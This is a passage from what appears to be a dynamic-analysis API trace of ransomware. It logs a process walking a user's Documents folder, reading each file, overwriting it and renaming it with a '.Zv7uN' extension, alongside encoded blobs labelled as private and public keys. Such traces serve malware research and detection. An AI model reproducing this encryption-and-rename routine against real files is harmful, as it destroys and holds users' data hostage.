HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\C5a1Xl8LZSVJ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\c5a1xl8lzsvj.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\C5a1Xl8LZSVJ.ppt.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\c5a1xl8lzsvj.ppt.zv7un")) returned 1 [0088.751] GetCurrentThreadId () returned 0xa30 [0088.751] GetCurrentThreadId () returned 0xa30 [0088.751] GetCurrentThreadId () returned 0xa30 [0088.751] GetCurrentThreadId () returned 0xa30 [0088.751] GetCurrentThreadId () returned 0xa30 [0088.751] GetCurrentThreadId () returned 0xa30 [0088.752] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde9daf0, ftCreationTime.dwHighDateTime=0x1d5d831, ftLastAccessTime.dwLowDateTime=0x5cfe8990, ftLastAccessTime.dwHighDateTime=0x1d5dc4f, ftLastWriteTime.dwLowDateTime=0x5cfe8990, ftLastWriteTime.dwHighDateTime=0x1d5dc4f, nFileSizeHigh=0x0, nFileSizeLow=0x3524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XdgW2PShs.docx", cAlternateFileName="XDGW2P~1.DOC")) returned 1 [0088.752] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.752] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\XdgW2PShs.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\xdgw2pshs.docx"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde9daf0, ftCreationTime.dwHighDateTime=0x1d5d831, ftLastAccessTime.dwLowDateTime=0x5cfe8990, ftLastAccessTime.dwHighDateTime=0x1d5dc4f, ftLastWriteTime.dwLowDateTime=0x5cfe8990, ftLastWriteTime.dwHighDateTime=0x1d5dc4f, nFileSizeHigh=0x0, nFileSizeLow=0x3524)) returned 1 [0088.752] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\XdgW2PShs.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\xdgw2pshs.docx")) returned 0x20 [0088.752] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\XdgW2PShs.docx", dwFileAttributes=0x80) returned 1 [0088.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.757] GetCurrentThreadId () returned 0xa30 [0088.757] GetCurrentThreadId () returned 0xa30 [0088.757] GetCurrentThreadId () returned 0xa30 [0088.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.757] GetCurrentThreadId () returned 0xa30 [0088.757] GetCurrentThreadId () returned 0xa30 [0088.757] GetCurrentThreadId () returned 0xa30 [0088.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\XdgW2PShs.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\xdgw2pshs.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.758] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0088.758] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.758] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x3524 [0088.758] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.758] ReadFile (in: hFile=0x120, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x3524, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0x3524, lpOverlapped=0x0) returned 1 [0088.760] CloseHandle (hObject=0x120) returned 1 [0088.761] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\XdgW2PShs.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\xdgw2pshs.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.763] WriteFile (in: hFile=0x120, lpBuffer=0x1f39ac0*, nNumberOfBytesToWrite=0x3524, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f39ac0*, lpNumberOfBytesWritten=0x18ee48*=0x3524, lpOverlapped=0x0) returned 1 [0088.765] CloseHandle (hObject=0x120) returned 1 [0088.765] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\XdgW2PShs.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\xdgw2pshs.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\XdgW2PShs.docx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\xdgw2pshs.docx.zv7un")) returned 1 [0088.766] GetCurrentThreadId () returned 0xa30 [0088.766] GetCurrentThreadId () returned 0xa30 [0088.766] GetCurrentThreadId () returned 0xa30 [0088.766] GetCurrentThreadId () returned 0xa30 [0088.766] GetCurrentThreadId () returned 0xa30 [0088.766] GetCurrentThreadId () returned 0xa30 [0088.766] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52955430, ftCreationTime.dwHighDateTime=0x1d5e1c6, ftLastAccessTime.dwLowDateTime=0xe6bfdb0, ftLastAccessTime.dwHighDateTime=0x1d5e25a, ftLastWriteTime.dwLowDateTime=0xe6bfdb0, ftLastWriteTime.dwHighDateTime=0x1d5e25a, nFileSizeHigh=0x0, nFileSizeLow=0xaf11, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Yf8w3Ir-P2yrhyy.pptx", cAlternateFileName="YF8W3I~1.PPT")) returned 1 [0088.767] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.767] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\Yf8w3Ir-P2yrhyy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\yf8w3ir-p2yrhyy.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52955430, ftCreationTime.dwHighDateTime=0x1d5e1c6, ftLastAccessTime.dwLowDateTime=0xe6bfdb0, ftLastAccessTime.dwHighDateTime=0x1d5e25a, ftLastWriteTime.dwLowDateTime=0xe6bfdb0, ftLastWriteTime.dwHighDateTime=0x1d5e25a, nFileSizeHigh=0x0, nFileSizeLow=0xaf11)) returned 1 [0088.767] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\Yf8w3Ir-P2yrhyy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\yf8w3ir-p2yrhyy.pptx")) returned 0x20 [0088.767] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS 